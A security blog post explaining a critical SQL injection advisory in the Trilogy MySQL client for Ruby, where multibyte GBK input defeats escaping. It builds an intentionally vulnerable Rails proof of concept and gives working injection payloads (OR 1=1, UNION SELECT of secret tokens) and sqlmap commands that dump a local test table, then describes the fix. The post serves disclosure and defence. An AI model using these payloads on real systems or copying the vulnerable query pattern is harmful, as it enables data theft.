SQL injection in the Trilogy MySQL adapter

Develop the right mindset for Rails security

Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.

Get the course for $99

Yesterday a security advisory was published for Trilogy, the MySQL client used by GitHub in production. GHSA-744p-w4gc-m3gh is a SQL injection in Trilogy#escape, rated critical with a CVSS score of 9.3. It affects every version up to and including 2.13.1 and is fixed in 2.13.2. There is no CVE assigned yet, and it was discovered by Anthropic’s OSS Scanner.

I wanted to build a vulnerable app and exploit it to understand how bad this issue really is. Spoiler: it is bad, but the exploitable surface is narrower than every Trilogy app.

Trilogy#escape is the method that escapes a string so you can safely drop it between quotes in a query. It walks the string and puts a backslash in front of the dangerous bytes like '. The problem is two fold: it does this byte by byte, and it returns the result tagged with the input string’s encoding rather than the connection’s.

That works fine for ASCII and UTF-8, but it doesn’t for multibyte encodings, such as Shift_JIS, Windows-31J, Big5, GBK and GB18030. In those encodings the trailing byte of a multibyte character can land anywhere in the ASCII range, including 0x5c, which is the backslash. So the backslash that escape just inserted gets swallowed as the second byte of a multibyte character, and the quote that follows it is left standing on its own.

It is easier to see this with bytes. Take the string \xbf\x27 tagged as GBK, where 0xbf is a lead byte and 0x27 is a ':

client = Trilogy.new(host: "127.0.0.1", database: "poc", encoding: "utf8mb4")

payload = "\xbf\x27".dup.force_encoding("GBK")
escaped = client.escape(payload)

payload.bytes.map { |b| "%02x" % b } # => ["bf", "27"]
escaped.bytes.map { |b| "%02x" % b } # => ["bf", "5c", "27"]
escaped.encoding                     # => #<Encoding:GBK>

escape added the 5c (backslash) in front of the 27 (quote). But now the bytes are bf 5c 27, and under GBK bf 5c is a single valid character, which leaves the 27 as a free, unescaped quote. When Trilogy later sends the query it transcodes it to the connection’s charset, and that one character plus a free quote structure will be just fine in utf8mb4. The quote escaped the escaping.

The advisory lists two ways an app is affected:

1. On any connection charset, including the default utf8mb4, when an attacker can influence the encoding of a string the app escapes.
2. On connections configured with encoding: sjis, cp932, big5, gbk or gb18030. Those never really worked and now raise an ArgumentError.

A few years ago I wrote about building a single file Rails application, and it is the perfect tool for a proof of concept like this. Here is app.ru, pinned to the vulnerable 2.13.1 version of Trilogy:

# frozen_string_literal: true
require "bundler/inline"

gemfile(true) do
  source "https://rubygems.org"
  gem "rails", "~> 8.0"
  gem "trilogy", "2.13.1"
end

require "rails/all"

ENV["DATABASE_URL"] = "trilogy://root@127.0.0.1:13306/poc?encoding=utf8mb4"

class App < Rails::Application
  config.root = __dir__
  config.consider_all_requests_local = true
  config.secret_key_base = "poc_secret"
  config.eager_load = false
  routes.append { get "/users", to: "users#index" }
end

class UsersController < ActionController::Base
  def index
    raw = CGI.unescape(request.get_header("HTTP_X_CUSTOMER").to_s).force_encoding("GBK")
    conn = ActiveRecord::Base.connection.raw_connection
    escaped = conn.escape(raw)
    rows = conn.query("SELECT id, username FROM users WHERE username = '#{escaped}'").to_a
    render json: rows
  end
end

App.initialize!
run App

Note that the query uses escape and string interpolation directly. This isn’t how you should be writing queries, you should use parameterized queries, but there is a lot of code out there that does exactly this, and it is supposed to be safe. Also, the string need to be force endoced to GBK, because it is not possible to control the encoding of the string outside of the application, what is sent is just bytes and Ruby determines the encoding.

We need a MySQL to point our proof of concept at, so we spin up a docker container for that:

docker run -d --name mysql -e MYSQL_ALLOW_EMPTY_PASSWORD=1 \
  -e MYSQL_DATABASE=poc -p 13306:3306 mysql:8.4

And a table:

CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(64),
  secret VARCHAR(64)
) CHARACTER SET utf8mb4;

INSERT INTO users (username, secret) VALUES
  ('alice', 'alice-token'),
  ('bob',   'bob-token'),
  ('admin', 'SUPER-SECRET-ADMIN-TOKEN');

Run it with rackup app.ru -p 9292 and a normal lookup behaves as you would expect:

$ curl -H 'X-Customer: alice' 'http://127.0.0.1:9292/users'
[[1,"alice"]]

You might wonder why the proof of concept reads the id from a header instead of a plain ?username= parameter. That is the interesting part. Modern Rails validates that request parameters are valid UTF-8 and raises ActionDispatch::InvalidParameterError before your controller ever runs, so this never reaches escape:

$ curl 'http://127.0.0.1:9292/users?username=%bf%27'
... ActionDispatch::InvalidParameterError (Invalid encoding for parameter ...)

That check is a good mitigation. It makes aa query string payload a dead end. The bug happens where the string being escaped carries a non UTF-8 encoding from somewhere Rails does not validate: a header, a raw request body, a base64 or hex blob the app decodes, or data pulled from another system, and then force_encoding or encode is used to convert it to one of those legacy charsets. My proof of concept models a customer id that arrives over a header from an upstream system that speaks GBK, not sure how realistic that scenario is, but it is good to demonstrate the issue I guess.

Now let’s see how to exploiut this. The injection byte sequence we need is %bf%27: the lone lead byte followed by the quote. After escape turns it into bf 5c 27 the quote is free, so we can tack on the rest of a query and comment out the trailing quote from the template:

$ curl -H 'X-Customer: %bf%27 OR 1=1-- -' 'http://127.0.0.1:9292/users'
[[1,"alice"],[2,"bob"],[3,"admin"]]

The OR 1=1 matched every row. A UNION lets us pull columns the endpoint was never meant to return:

$ curl -H "X-Customer: %bf%27 UNION SELECT secret,username FROM users-- -" \
    'http://127.0.0.1:9292/users'
[["alice-token","alice"],["bob-token","bob"],["SUPER-SECRET-ADMIN-TOKEN","admin"]]

There is admin’s secret token.

Doing this by hand is fine for a single table, but sqlmap makes exfiltration trivial. It even ships a tamper script built for exactly this class of bug: unmagicquotes replaces a ' with %bf%27 and fixes up the rest of the payload. Our injection point is a header, so we mark it with *:

$ sqlmap -u 'http://127.0.0.1:9292/users' \
    --headers='X-Customer: 1*' \
    --tamper=unmagicquotes --dbms=mysql --batch

sqlmap finds it without any trouble:

Parameter: X-Customer #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: 1' AND 1548=(SELECT (CASE WHEN (1548=1548) THEN 1548 ELSE ...

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: 1' UNION ALL SELECT NULL,CONCAT(...)-- -

And --dump walks the table out for us:

$ sqlmap -u 'http://127.0.0.1:9292/users' --headers='X-Customer: 1*' \
    --tamper=unmagicquotes --dbms=mysql --batch -D poc -T users --dump

Database: poc
Table: users
[3 entries]
+----+--------------------------+----------+
| id | secret                   | username |
+----+--------------------------+----------+
| 1  | alice-token              | alice    |
| 2  | bob-token                | bob      |
| 3  | SUPER-SECRET-ADMIN-TOKEN | admin    |
+----+--------------------------+----------+

From here it is the usual sqlmap story: dump other tables, read the rest of the database, or try for a shell if the privileges allow it.

To mitigate this issue, you need to upgrade to trilogy 2.13.2. The fix re-encodes strings to the connection’s encoding before escaping and refuses input it can’t safely handle, so the same request now raises instead of injecting:

Encoding::InvalidByteSequenceError: "\xBF" followed by "'" on GBK

It also rejects those dangerous connection charsets outright with an ArgumentError at connection time. If you genuinely can’t upgrade yet, the advisory’s workaround is to enforce the encoding of every string you pass to Trilogy#escape and Trilogy#query.

As I mentioned before the issue is bad, but not something that could be exploited against any Rails app the uses the adapter, some conditions still need to be met.

And the lesson from this issue is that escaping is encoding dependent. The moment you escape a string in one encoding and interpret it in another, the escaping can quietly stop meaning what you think it means. Parameterized queries sidestep the whole problem, so reach for those instead of escaping by hand.